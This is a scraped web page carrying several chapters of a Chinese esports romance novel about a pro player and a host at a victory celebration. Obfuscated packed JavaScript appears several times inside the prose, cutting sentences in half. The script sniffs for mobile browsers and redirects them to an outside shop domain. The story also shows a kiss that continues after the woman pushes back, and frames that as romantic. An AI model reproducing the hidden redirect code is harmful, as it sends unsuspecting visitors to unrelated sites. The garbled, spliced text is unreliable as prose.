l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13592825|142548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 连昼却还有些隐隐的不安:“再看看吧。” 按常理来说,比赛拖到第五把一般都是长痛局,因为两边不敢轻易动手暴露破绽,会打得格外谨慎。 但这两队不一样。 从第一分钟Serein率先动手开始,双方的进攻动作就没有停歇过。 上路在单挑,打野到处抓人,中单互相换血,下路激情对线。 观众席的惊呼声像涨潮一样一波接着一波,导播镜头切得满头大汗,解说说完这边说那边,半场对局下来嘴皮都恨不得磨出茧。 对局进行到中期,IR下路优势的雪球终于滚了起来,经济差慢慢拉开。 Serein回城补完装备下来,配合Dzz的奇袭控制抓到对方中单,一路凶狠追击到对方塔下,顺利拿下击杀。 接着镜头转到上路,上单小渊走位失误,被对方上野拿下人头。 IR粉丝的欢呼刚刚起势就变成哀叹,KG粉丝的哀叹还没结束就变成欢呼。 就这样拉拉扯扯纠缠不清地打到四十几分钟,局势终于有了突破。 和第一把无比相似,恶龙坑前IR野辅先手开团被KG上单尽数挡下,IR再次分散站位诱敌深入,但KG这次没咬钩子,选择抱团反打。 Serein是首当其冲的攻击目标。 KG野辅二人闪现而来,瞬间甩出控制连招,但几乎就在同一毫秒,Serein早有预料似的闪现后撤,秒接左右走位,精准无比躲过了脚下层层叠叠技能特效。 随即,他紧跟着Dzz的控制技能向前突进,反手开大洗礼对方另外三人,实现了几乎不可能的完美反杀。 连思齐都目瞪口呆:“他在无处落脚的地方找到了落脚的地方!” 另一个解说小熊不留情面倒油:“怎么说,思齐,这就是被你评价‘站位有问题’的Serein选手。” 思齐唯唯诺诺:“我有问题,我有问题……比赛还在继续!大家看比赛哈!” 剩下的残局不用多说,Serein越打越凶,可以说是见人杀人见神杀神,点掉敌方水晶的时候,导播懂事地把特写镜头怼到他的脸前。 司偕按下最后一个技能,放开键鼠,甩了甩手,抬头注意到眼前的摄像。 拽如冰山的神情蓦然松动,他史无前例地对镜头展出一个轻淡却又明显的笑。一贯倨傲的眉眼线条忽而柔化,整张脸的冷感消散殆尽,取而代之的是难以形容的柔光明艳。 弹幕即刻炸出一朵蘑菇云。 【管家,少爷他已经很久没这么笑过了!】 【我草啊,男的怎么会这么好看……】 【司偕,你在对谁笑!你说话啊!】 直播里的司偕没有说话,招惹完镜头就兀自收拾设备下台,回准备室去休整片刻再接受采访。 导播把画面切到了高光回放,后台众人意犹未尽地结束了观赛。 连昼看完比赛犹有余悸,愣了好一阵才缓神,动作迟滞地关掉直播。 与此同时,微信提示音叮咚,跳出一条新消息。 【司偕:1】 连昼点进指定对话框,看着这个没头没尾的“1”,难得秒懂了少爷的意思。 她的唇角有些不受控制地扬起来,指尖在键盘上飞快戳动,第一时间给出少爷想听的回复。 【连昼:太厉害啦,不愧是CGL最强AD选手!】 这句话发过去,不用想都知道少爷会有多臭屁。 果不其然,少爷秒回消息,还一回就是三条。 【司偕:[耶耶歪头笑.gif]】 【司偕:赢了】 【司偕:晚上庆功,你来吗】 21.好多人啊 跟IR的羁绊好像变得越来越怪了。 比赛结束已经半夜十一点,连昼登上IR的豪华座驾,不禁开始沉思: 她到底为什么会来参加IR的庆功宴? 她不是IR知名案犯兼霉笔吗? Dzz从后面探出毛茸茸的脑袋,热情搭讪:“你康到没油,我的摸得之约,糙级帅!” 连昼认真地敷衍:“莫德之月?对对对,你的莫德之月超帅的,那个闪现控制太关键了,没你根本赢不了比赛!” 侧后方坐着季明礼,沉默不语地盯着他们互动,眼神冷淡得让人幻视出几分司偕。 连昼被看得不自在:“你怎么了,看我干什么。” 季明礼浮于表面地笑了笑:“我在想,你为什么在这里。” 这句话说得一点也不像平时那样成熟得体。 尼克马上打断他:“怎么说话呢,我邀请的,庆功宴当然越热闹越好啊,思齐和琪文也来,等他们处理好工作一起出发哈。” 思齐和琪文被导演留下做收尾工作,IR豪华座驾暂时还不能出发,车上几人闹了几句,很快就各自安分下来,车厢内一时鸦雀无声。 连昼想起司偕的手腕,转头环顾一圈,看见他倚在最后面的沙发床边上,微微垂头闭着眼,似乎已经睡着了。 也是,他手腕伤那么严重,又一直保持高度专注力打到深更半夜决胜局,现在一定累到极致了。 她收回视线,一垂眼正好对上季明礼灼灼的目光。 “你是不是有话要说?” 季明礼终于开口:“你昨晚打语音给我,真的是误触?” 连昼眨眨眼:“是呀。” 季明礼嗤笑一声,显然不信,却又什么都没再问。 莫名其妙。 连昼在他脸上看不出所以然,也就不再管他,自顾自刷起了今晚比赛的论坛评分。 毫无疑问,再次斩获夏决Fmvp的司偕获得了最高评分,其次是发挥同样亮眼的季明礼。 但野辅二人的评分就有点偏低了,甚至不如战败的对手KG。 【其实KG今天输也就输在AD和中单,没办法,双C不强怎么赢】 【IR上野不知道在干什么,以前爱吹上野联动,现在配合简直一坨】 【家人们发现没有,IR的绝对统治力消失了】 【就是啊,跟TNG打满五局,跟KG也打满五局,全是惊险取胜】 【我们CGL赛区完蛋咯,今年又是给隔壁赛区YT战队当儿子的一年】 …… 接下来这个帖子就围绕着“IR丧失统治力”展开讨论,连昼往下继续翻着,正看得入神,微信消息突然跳出来。 【司偕:你今天采访观众?】 【连昼:对,怎么了】 对话不明不白地停在这里。 连昼抬起头正要向后张望,车门“哗”地被拉开,琪文气喘吁吁跳上车:“不好意思啊,导演有太多事交代,来晚了。” 她身后跟着另一位IR名宿思齐。 思齐一上车就兴奋地分享前线消息:“你们看见没!有自媒体爆料Moroho今天在现场看KG比赛,看来还是对老东家旧情难忘啊!” 车上众人被吵醒,条件反射地问出几句“真的假的”,随即反应过来,纷纷回头看司偕。 虽然他们看的不是自己,但连昼被大家齐刷刷的阵仗搞得有点心虚,毕竟她身上贴着白纸黑字的“少爷类蝶领军人物”,这种情境下难免有点尴尬,于是选择把头埋起来假装不存在。 琪文却没打算放过她:“yooooo,让我看看这是谁呀,这不是知名蝶粉小昼昼吗,两年来第一次有蝶神的消息你怎么不惊讶!” 连昼:“……” 真不愧是经历过大风大浪的KG老粉,主队刚输掉决赛,她这么快就调整得生龙活虎了。 司机提醒大家坐好发车,琪文在连昼身边的空位坐下,伸手整理跑得凌乱的头发,理到一半突然想起来什么:“难怪助理跟导演打小报告,说你赛间采访的时候在观众席来回转悠,你是不是看到Morpho了?!” 她的音量不算低,足够整车人都清楚听见。 连昼整个人被一股强大的不知从何而来的心虚所占据,不受控制地胡说八道:“没,我没看见,完全不知道。” 琪文意味深长地瞥她一眼,没再追杀。 但季明礼又一声嗤笑,无缝接档:“真没看见?” 连番逼问之下,连昼也有点急了。 琪文意味深长就算了,季明礼凭什么跟着阴阳怪气! 她不客气地瞪回去:“你话怎么那么多?闲得慌回去继承家业。” “继承家业?” 琪文抓住敏感词汇,展开采访,“昼昼,你和Monsoon是不是认识啊。” 连昼准备用老一套的“工作认识不是很熟”来搪塞,没想到这次季明礼更快开口,漫不经意答出一句: “认识,差点订婚。” “……” 全车人都陷入了难言的寂静,包括连昼自己。 这股难言的寂静持续得比上一轮听到Morpho消息带来的震惊还要久,直到车尾哐当一声响,才把这辆车从寂静中解救出来。 众人整齐回头,就见司偕半俯身,捡起砸落在腿边的手机,一脸镇定:“没事。” “这个爆料还是,太超过了……” 琪文艰难开口,“所以,你们到底是什么关系啊?” 连昼欲言又止。 跟季明礼的关系太难解释清楚了,其中千丝万绪弯弯绕绕,有些事情根本没法说出口。 总不能说: 他是他爸的非婚生子,我是我爸的非婚生女,他爸和我爸是好友,意图让我们结婚然后借彼此的面子把我们两个非婚生子女正式带回家。 我听到这个消息之后远走高飞,他听到这个消息之后离家出走,后来我们不小心在伟大的电竞行业偶遇了。 怎么说都很离谱,小说一般不敢这么安排,但是现实敢。 反正连昼不知道怎么表述,她转头望向季明礼,用眼神示意:请你来编。 季明礼气定神闲靠倒椅背,试图用另一段前情模糊重点:“大概两年前,我在一个俱乐部试训,正好碰到她去应聘战队经理,她看我试训失败请我喝了瓶饮料,就是这样认识的。” 思齐成功被糊弄:“原来是这样啊。” 连昼以为这套说辞蒙混过关,刚松口气,就听见后方传来一道冷冰冰的追问。 “两年前?” 季明礼回头,看向司偕:“对,她那时候就有到处投喂的习惯。” “也不能这么说吧……” 连昼讪讪地插嘴。 然而IR战队的顶级双C互相注视着,没有任何一个分出眼神给她。 司偕的表情没有任何波澜,继续问:“订婚怎么回事?” “父母定下的,我们之前互相不知情。” 季明礼用两句话简单概括,几乎等于什么都没说。 连昼本来也不想多说,但是面对着司偕的冷脸,她鬼使神差地解释起来。 “有一次我爸爸来找我,居然跟季明礼打招呼,我才知道订婚对象就是他……” “对。”季明礼皮笑肉不笑,补充道,“当时你以为我是你爸的卧底,还把我痛骂一顿。” 琪文没忍住笑出了声:“很难想象昼昼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617705|142548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骂人的样子。” “可能熟了之后才会原形毕露吧。” 季明礼回望司偕,“还有问题吗?” 司偕垂下眼睫,靠回沙发床沿,没再开口。 一波未平一波又起,这边的话题堪堪收尾,那边不知道哪个工作人员又鬼叫了一声,把所有人的注意力吸引过去。 “快看热搜!秦愫白!” 连昼的手机刚好就停在微博界面,闻言低头一看,热搜榜上一个标着[爆]的话题正在迅速攀升。 【秦愫白 Serein粉丝】 点入话题页,挂在最上方的就是秦愫白本人的最新动态。 她转发了OG赛事官博宣布Serein蝉联夏决Fmvp的博文,配上了一看就不是运营人员统一编撰的真情实感的祝贺文案。 “我从去年IR夏决夺冠开始关注Serein选手,今年有幸作为表演嘉宾来到夏决赛场,可惜因为行程问题没来得及要签名,希望下次还有机会再见,祝贺Serein选手的第二次Fmvp,实至名归!” 微博下面评论区围观得热火朝天,什么风向的热评都有。 【你是白愫贞那我是谁:这是谁啊,电竞圈的?】 【特莱金能进局子吗:我靠,竞男好大的福气,这么漂亮的美女啊!】 【雨女跑快快:虽说电竞是男人最好的医美…但Serein这位…确实本人就挺美的…还挺配哈】 【愫愫你不要跳啊:怎么回事,还关注他了,愫愫这是真要接电竞综艺?】 【飞往蝶的山:笑死,还当真了,很明显就是客套话啊,管家们真敢信】 【少爷和我-回复-飞往蝶的山:又逮到你了小黑子,客套话怎么了,怎么没客套到你正主身上】 【momo:别说,这个竞男还真挺帅的,三分钟,全部资料,懂?】 …… 琪文:“Serein你现在是真的火了,平时要注意自己的言行举止,不要让别人以为你真的是个少爷,巴拉巴拉巴拉,后面忘了。” 尼克刚翻完微博,一声卧槽:“秦愫白还关注你微博了,司偕你要不回关一下?” 司偕半闭着眼,没有任何回应。 尼克立即了然,自己给自己打圆场:“算了,你关注列表一直都是空的,不回关也没关系,艺人那边应该能理解。” 琪文听出话外之音,倾身向前打听:“你们是不是真要合作什么电竞综艺?” “也只是有这个说法,不过下半年我们要准备全球巅峰赛,就先搁置了。” 尼克看了一眼司偕,压低声音,“听说就是因为秦愫白力荐Serein,那个综艺制作人才来找我们的。” “这样啊。” 看起来,秦愫白不止是单纯营业,也许是少爷的真粉丝。 连昼垂眼看手机,指尖在秦愫白的头像上徘徊很久,最后还是没有点进去主页。 算了,没什么好看的。 她退出微博,按灭手机屏光,强制自己大脑关机。 大概只过了几分钟,车身的摇晃慢慢停止,司机出声提醒大家已达目的地。 连昼和琪文接连起身下车,尼克跟在她们身后,突然鬼鬼祟祟地说:“还有二十分钟。” 琪文问:“二十分钟怎么了?” “还有二十分钟到零点,司偕的生日。” 尼克向后张望,确保他们的交头接耳没被关键人物注意到,“我先上去跟饭店经理确认一下安排,你们帮我拖住他。” 连昼愣了一下。 司偕的生日? 完蛋了,根本不知道,也没准备什么礼物。 少爷会不会介意一个两手空空的蹭饭人啊。 22.生日礼物 尼克托付完就飞奔进入餐厅,背后司偕正好下车。 琪文谨记着尼克“拖住他”的叮嘱,张口就来:“Serein等一下,昼昼想问你点事!” 连昼:…… 师父,徒弟是这样用的吗? 司偕没有回答,但还是配合地加快步伐,跟了上来。 两个人又像最开始在机场那样不太自然地并肩走了一段,这次还是司偕先开口:“你不是有事要问?” “对,你过来,我跟你讲。” 连昼试着把他拉到一边,眼神暗示其他人先上去。 司偕没有反抗,安静地看着她动作。 “我就是想问你……” 连昼指指他的右手腕,“听说今晚医生都来了,你现在真的没关系吗?要不要先去医院看一下?” 司偕抬起手腕,微微转动一下:“还好,不算很疼。” “那还是疼咯。”连昼下意识用指尖碰了碰密密匝匝的绷带,“看起来比昨晚更严重了,怎么办,医生有没有说怎么止痛?” 说起昨晚,司偕的手腕向后退了两寸,从她指尖撤离。 他没有继续连昼挑起的话题,转而问起另一件事:“你昨晚,不是来找我的。” 明明是一个推测,但他的语气无比笃定。 而这个推测的结论太过清晰,没有扯东扯西的余地,连昼干脆承认:“我去给小渊送点东西。” 司偕顿了顿:“也不是琪文姐让你送的。” 他说完还扬了一下唇角,看似是笑了一下,但这点笑意不达眼底,几乎不能称之为一个笑。 连昼实在辩无可辩,只能沉默。 司偕张了张嘴,似乎还想说点什么,但一阵手机铃声适时响起,打断了两人的对峙。 “喂,琪文姐,好,我们上来了……” 连昼接通语音,语速飞快,“走吧,大家在等我们。” 逃生一般疾奔到包厢,她赶在司偕前面进门,立即就被季明礼一双手拉到旁边。 接着,包厢里主灯被按灭,Dzz的嚎叫雷霆万钧: “森!日!快!落!” 司偕被震在门口:“……” 下一秒,教练大秦推着蛋糕走出来,蛋糕上荧荧的烛火在黑暗中团着暖光,把庆生的氛围感拉到最满。 尼克带头唱起了生日歌:“祝你生日快乐~祝你生日快乐~祝你21岁快乐~祝你生日快乐~” 众人不觉得有问题,立马扯着嗓子跟上,连昼也混在里面字正腔圆地高歌,直到整首生日歌唱完,整个包厢突然安静下来。 尼克突然试探:“好像有哪里不对。” 司偕的声音在黑暗中响起,冰凉的语气比平时更加冷酷:“因为我是,20岁。” “……” 挺离谱的,但转念一想这是IR电子竞技俱乐部,一切又变得合理起来。 琪文出声打破尴尬:“不管多少岁,反正都是过生日!Serein可以许愿啦!” 司偕动作轻缓地向前迈进一步,微微俯身,凑近了误刻成“21”形状的蜡烛。 连昼就站在侧边,正好能看见他闭上眼睛默然许愿的侧脸。 暖黄色的烛光映照他的轮廓,把向来漠然的面容晕染得温柔虔诚,微光照得鼻梁左边那颗痣清晰可见,在他线条起伏的面容上点缀出几分缠绵。 这一刻,连昼都忍不住跟他一起许愿。 无论是20岁的司偕还是21岁的司偕,希望他所有的愿望都能被听见吧。 随着蜡烛被轻轻吹灭,季明礼在门边按开主灯,教练大秦指手画脚:“司偕,自己来切蛋糕。” Dzz一边对蛋糕虎视眈眈,一边缠着司偕问他的愿望是什么。司偕不堪其扰,冷酷拒绝:“说出来会不灵。” 这种幼稚可爱的话术从臭脸少爷嘴里说出来,有种又怪异又和谐的感觉。 连昼心里暗笑,难怪少爷那么死装。 二十岁,正是爱装的年纪。 不等蛋糕分好,尼克招呼众人先行落座。 只是现在他们面临一个问题:怎么坐? 连昼和琪文、思齐偷偷摸摸对视一眼,瞬间明白了彼此的纠结。 看来大家都对职业选手严格的排队程序烂熟于心。 三个人犹犹豫豫,分别在左侧席位坐下。 果然没一会儿,五个选手过来,想也不想地按照上、野、中、下、辅的顺序坐下了。 这次连昼依然坐在队伍最右边,挨着固定位置的上单小渊。 见他右脸颊的红肿痕迹没那么明显了,连昼趁大家各自谈笑的时候低声问:“现在牙齿会不会抽疼?” 小渊的声音更低:“只有一点。” “那就是好转了。”连昼经验老道,恨不得把一整套教程都传授给他,“等完全不痛了再去医院做一下检查,让医生看看要不要补……” 话没说完,连昼一抬眼,刚好看见对面司偕正眼神锐利地盯着自己。 她不由自主闭上了嘴。 少爷,又生气了? 过生日还这么嫉恶如仇,不好吧。 连昼老老实实埋下头吃菜,不敢再有任何动作,生怕自己让本就不高兴的少爷过不好这个生日。 琪文坐在旁边,跟思齐讨论着夏决结束后赛事方的一些活动策划,聊到休赛期有场首次举办的娱乐赛事,转头来提醒连昼:“小昼昼应该也是要参加的哦。” 连昼不明所以:“什么比赛?” “莲花杯。”琪文有点嫌弃地念出这个名字,“今年休赛期空档太长了,赛事方怕观众流失,准备搞一场解说主持跟职业选手组队的娱乐赛,本来叫名嘴杯。” “后来不知道哪个神金说要文艺一点,按照‘舌灿莲花’改成了莲花杯。” 好抽象的赛事名称。 连昼难免也有点嫌弃:“可以不参加吗,我太菜了,怕把观众气得流失更严重。” 琪文无情地浇上一盆冷水:“不行,你本来就得罪导演了,敢逃赛试试看呢。” 那确实是不敢逃了。 不过这个莲花杯还要求职业选手和解说主持组队参加,赛事方真的不怕选手被折磨疯吗。 毕竟各位解说主持可不是一般的菜比啊,他们菜的同时,还个个都很会吵架。 真不敢想到时候流失的是观众还是职业选手。 连昼分神盘算着休赛期有空的战队,稍不留神,手上的高脚杯磕碰到餐碟边沿,撞得手腕一斜,杯子里的鲜奶歪出小半杯,全洒在自己手臂和袖口了。 “不好意思,不好意思。” 她理了理衣袖,纸巾怎么也擦不干净,只好抓起随身包起身,“我去处理一下。” 琪文指路:“洗手池在走道第二个拐角右转,那个灯坏掉的地方!” 说“走道第二个拐角右转”可能还要找一会儿,但是“灯坏掉的地方”简直精准定位。 因为坏掉的不止一个灯,而是一长串线路,在其它地方都亮如白昼的衬托下,这个暗如密室的角落反而特别显眼。 连昼从包里翻到清洁喷雾,怼着昏暗的光线擦拭袖口,擦到最后也看不清到底擦干净没有。 她怕自己出来耽搁太久显得不礼貌,最后用清水简单收尾,顺手补了下唇釉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13628059|142548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,准备打道回程。 也许是走得太匆忙,从拐角出去看见静静守在正前方的人影时,她脚下惯性过大,已经来不及停步了。 “砰”地一声,结结实实相撞。 连昼反应一秒,扶着额顶向后退开。 相比而言,她更关心对方被狠狠冲击的下颌:“你还好吧,疼不疼?” 司偕安然不动,甚至都没抬手摸一下他被撞到的下颌。 “不疼,你呢?” “我也还好。”连昼问,“你在这里干什么?” 司偕目光沉静,薄唇轻分,拂出两个字:“等你。” “啊……” 连昼愣了一下,莫名其妙地,开始紧张起来。 “我还没有问完。” 少爷今天话多得出奇,“你给Yuan送东西,请季明礼喝饮料,把可达鸭挂件送给Dzz,对吗。” 一桩桩一件件的倒是确有其事,只是把这些事组合放在一起,怎么听起来就怪怪的呢。 “都没什么,就是刚好……” 连昼努力思考着,想解释点什么,但是好像怎么解释都解释不明白,更艰难的是,她根本不知道自己需要解释什么。 “没关系。” 似乎对她的解释不清有所预料,司偕自顾自地抛出三个字。 连昼嘴角动了动,但是司偕根本不给她插话的机会。 “今天你采访观众,到底有没有看到Morpho?” 连昼一咬牙,坦率承认:“好像看到了,但是不确定,所以才去找的。” 司偕眼神一瞬不错地注视着她,忽然倾身上前,逼着她步步后退,困进拐角处的幽暗里。 “那在车上,为什么说没看到?” 连昼被他审视的目光盯得寒毛竖立,还想向后退一点,但背后已经紧紧贴住了墙面,退无可退了,只能抬头看他。 “我也不知道……” 他垂下眼,鸦羽一样黑密的睫毛在眼下投出一片暗沉的阴影,由于背着光,他的脸像敷上了一层柔光,本来就看不出的情绪更加模糊难测。 他等了很久,没等到一个明确的答复,于是缓慢地眨了眨眼睫,唇边再次碾出三个字:“没关系。” “没关系”,这三个字反反复复出现,像迷魂符一样,明明什么问题都没解决,却能用一种自我安抚式的宽容,把悬而未决的问题统统放行。 连昼隐隐约约察觉到了司偕口中的“没关系”并不是真的没关系,但他每次都不明不白地点到为止,好像怕多说一句就会天崩地陷似的,让人想要开解也无从说起。 再这样僵持下去,氛围只会变得更灾难。 她想尝试破局,一瞬间脑中飞速闪过无数救急方案,忽然间灵光一跃,脱口而出:“等一下,我有礼物送给你。” 司偕很明显地怔了一下:“礼物?” 连昼摸索自己的随身包,由于司偕靠得太近,她怕一动起来两个人就会贴到一起,只能极小幅度地动作,许久之后才艰难地从包里摸出一张拍立得。 “上次花絮采访留下的那张,也挺好看的,现在可以物归原主了。” 司偕没有接过去,只是目光深幽地盯着她,声音紧绷:“你一直带着?” 连昼像显摆宝贝一样把拍立得捏在指尖,眼睛睁得清光水亮,连连点头:“还好一直带着,今天你生日,我也没准备什么礼物,正好——唔!” 话音未落,她整个人被一股力道牢牢扣住,眼前光影忽暗,鼻尖碰上另一个鼻尖,唇角被印下一道不属于自己的陌生触感。 司偕骤然俯颈,冷如雪松的气息压了下来。 23.口红没涂好 与他不由分说压下来的强势不同,停留在唇角的触感干燥而柔软,轻忽得几乎可以被忽略。 连昼头脑空白,好几秒才反应过来,立即抬手推拒。 但司偕看起来单薄的身形却怎么推也不动,宽阔肩膀拦在身前,如同一道城墙牢牢围困。 明明唇角的触碰畏首畏尾,扣在她腰后的力气却大得无法无天。 连昼还有点懵:“你什么意——” 她的嘴唇因为这短促的两个字节而翕动,唇畔若即若离的距离被不经意间拉近,四目错愕之间,这个蜻蜓点水的触碰忽然变成了一个真正的亲吻。 司偕微微垂着眼,黑润眼瞳混杂着微光与深沼,直长的眼睫毛细细密密地颤抖着。 连昼抬着眼,愣怔地与他对视。 嘴唇上的触感突兀而真实,平时一秒八百个想法的脑袋像被感官封印住了,只剩下一片空茫的旷野,整个世界都是他睫毛像蜻蜓振翅一样卷起的混沌风声。 连昼的视线变得散涣,茫然不知道该飘向哪里,最后慢慢聚焦,莫名落在司偕近在咫尺的鼻梁痣上。 她恍惚想起司偕在微博发的那张自拍。 就像那次一样,鼻梁上的黑痣静静挂着,什么也没做,然而她盯看盯着,却有种已经触摸到的温热的错觉。 他们贴得太近了,呼吸相闻,目光相撞,体温几乎凝成实质,把两个人密密实实地裹进微热的沼泽里。 鬼使神差地,连昼缓缓抬起手,指尖轻飘飘地点在那颗痣上。 这一秒,连她自己都想不清这个动作的意味。 而这个动作让司偕明显僵硬了一瞬。 连昼能够清楚地看见,他的眼睫毛蓦地向下垂坠,蓦地闭紧眼睛。 就在这稍纵即逝的瞬间,她似乎有所预感,下意识地仰起头。 下一秒,他们的鼻尖再次相碰,司偕略带颤抖的气息贴得更深一寸,两道呼吸懵懵懂懂地相融。 唇上轻忽的触感被重重加深,一丝潮湿悄无声息地入侵,渗入柔软的唇齿间,声势强势得不容拒绝,厮磨的动作却又钝又慢。 连昼的脸被压得完全仰起,呼吸逐渐变得混乱,整张脸都烫了起来,脑袋里空空如也,不知道自己什么时候闭上了眼,也不知道自己为什么顺从地张开了嘴,更不知道自己的手臂怎么会勾在司偕的后颈。 唇舌被卷入毫无章法的浪潮之中,暗涌,无序,被诱哄着探出,又被牵引着退后,就像夜海里涨来褪去的潮水,与白色沙滩不断地暧昧拉扯。 他们的身形隐匿在灯光退避的角落,昏暗把五感放大无数倍,彼此剧烈的心跳互相声蚕食着理智,交缠的喘息声被无限放纵,呼吸变得粘腻起来。 越来越深的亲吻压得连昼无处可退,缺氧的失重感让她本能地抬起手,想要推开身前牢固肩膀。 但她动作刚一起势,腰间就被更用力地拉紧,像怕她逃掉似的,死死扣在臂弯里。 她努力后撤,好不容易撤离一点,才掠取到一丝丝自由的氧气,瞬间又被司偕的唇舌追堵上来,被迫陷入更深一轮的吮吻。 连昼被亲到呼吸困难,又实在挣脱不出他的手臂,只能用尽全力向后退,仰脸的力度太大,一下子碰到后面的墙壁上,发出一簇轻闷的响声。 “唔唔……” 轻微的碰撞感把连昼从朦胧气氛里抽离出来,被堵住的声音含糊不清,试图提醒司偕适可而止。 但司偕完全没有领会到喊停的信号,或者说,他假装没有领会。 啃吻的动作一刻未停,只是稍微分心把升温的手掌垫在了连昼脑后,紧接着,又是一阵更加恣意的进攻,热切得像要把人融化。 连昼被牢牢按着动弹不得,对时间的概念被无声无息淹没在紊乱的喘息里,简直过了几个世纪那么久,唇舌间潮汐才终于流连不舍地止息。 温热潮湿的碰触还停留在嘴唇上,轻柔地来回碾磨,耐心等着稍重的呼吸声慢慢消散在这个无人探知的角落。 连昼带着余悸调整呼吸频次,许久之后,抬起眼睛。 司偕仍然没有退开,与她保持呼吸交缠的距离,一双眼瞳比平时还要黑沉,如同辽阔无垠的夜海,翻涌着冰山一角的暗潮。 理智回笼得极慢,连昼的声音从喉间浮荡出来,带着说不清道不明的迷朦。 “你……什么意思?” 这是个本该在亲吻发生之前得到答案的问题。 但之前司偕没有答复,现在依然没有。 他的瞳色幽暗,紧紧锁着连昼的脸,明明呼吸还又重又乱,目光却已经沉静下来。 半晌,终于开口,嗓音带着克制不住的沙哑。 他问:“我是谁?” 彼此的嘴唇还轻轻抵着,这个短促的问句从司偕唇边掠出时,温热的触感一下子变得凉浸浸。 连昼迷茫地眨了眨眼,一时间没有理解他的意思。 但下一秒,她反应过来。 一种难以言喻的荒谬感涌了上来。 他不知道自己是谁吗? 他以为自己被当成了谁? 难道就这样不清不楚、不明不白地亲了半天吗? 连昼唇角动了动,难以控制地勾出一个并不好看的弧度。 她的手还搭在司偕肩膀上,这次只稍稍一用力,就把他推开半米之外。 微热的体温忽然撤离,寂静的空气涌入这半米的距离,晦暗不明的光线从拐角外投射过来,把两人骤然分开的身影映在墙壁上上,像两片对峙的孤岛。 连昼又问了一遍:“你什么意思?” 司偕的眼神闪烁,还泛着潮意的嘴唇张合几次,最后说:“我的生日礼物。” 生日礼物? 什么莫名其妙的生日礼物。 连昼脑中乱成一团,片刻之前还发烫的耳尖迅速降温,忽冷忽热的拉扯不清让她脑袋里里嗡嗡地升腾出一股火气。 她深吸一口气,按下情绪,尽量维持冷静。 “我是说你问我的那一句。” 司偕垂下眼睫,视线不知道聚焦去了哪里,空荡荡地沉默着,没有出声。 空气稀疏又粘稠地在两人之间斡旋。 连昼觉得自己等了很久,大概是等不到什么回答了。 其实也不用非要等到什么。 那句话问出口时一定已经有了预设的答案,深究下去不会有任何意义。 她把视线从司偕脸上移开,随手理了理微乱的头发。 拐角外的光线闪过暗影,有脚步声由远及近,刚好为角落里僵持不下的空气送来解围的契机。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722226|142548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我先回去。” 连昼平静地推开他,侧身而过。 脚步虚飘飘踏出去,乍亮的灯光刺入眼瞳,一下子把她拉回清醒的现实,刚才昏昏沉沉的慌乱变回镜花水月,模糊得像是短暂的梦像。 她眯了眯眼,再睁开时才清晰地看见,走道边有一个熟悉的人影。 是季明礼,半靠在墙上,神态很稳定,似乎已经保持这个姿势很久了。 连昼停下脚步,不知道为什么,突然冒出一点颜面尽失的难堪。 她没心情跟季明礼迂回,直白地问他:“你在这里多久了?” 季明礼的声音很淡,淡得就像什么都没发现一样:“没多久。” 连昼对季明礼的每一句话都毫无信任度。 不过即使他在这里站了十个世纪,站成一座雕像,她现在也懒得在意。 于是她抛出一个“嗯”的音节,收回目光,自顾自地继续向前。 只是刚经过季明礼身前,就被他一把抓住了手臂。 连昼不想说话,只用疑问的眼光看过去。 季明礼缓缓松开她的手臂,继而以一种非常滞重的速度抬起手,虚虚地停在她唇边,拇指隔空在她唇角擦了一下。 “你口红没涂好。” 连昼愣了愣,马上向后退开,撇过头:“谢谢,我回去补。” 季明礼泛泛地笑了一声:“现在补吧,太明显了。” 他果然发现了。 连昼强壮镇定,从包里翻出纸巾和唇釉,飞快把嘴唇上乱七八糟的痕迹处理干净。 季明礼就在一边静静地看着,等她结束这顿兵荒马乱的补救,才又开口:“我以前以为,对你来说都一样。” 一句话说得云山雾罩,连昼没听懂:“什么都一样?” 季明礼不回答,寡淡的目光跳过她,望向她身后拐角的位置。 “你们没说好吗,这么快就跟上来了。” 这句话连昼听懂了。 但她一点也不想回头,抬脚就走,怕被追上似的,脚步越迈越快,几乎是小跑着奔回了包厢。 包厢里灯光明亮,尼克和思齐聊得眉飞色舞,琪文正扶着额头一字一句纠正Dzz的中文。 松快吵闹,把那些说不清道不明的混乱甩在身后,仿佛回到了真正的人间。 连昼在门口平复了一下跑得起伏的呼吸,重新入席落座。 琪文如见救星:“你怎么才回来,Dzz这中文我顶不住,生命不能承受之稀碎,还是你来帮我翻译吧。” Dzz:“补要!我,凡译,不许要!” 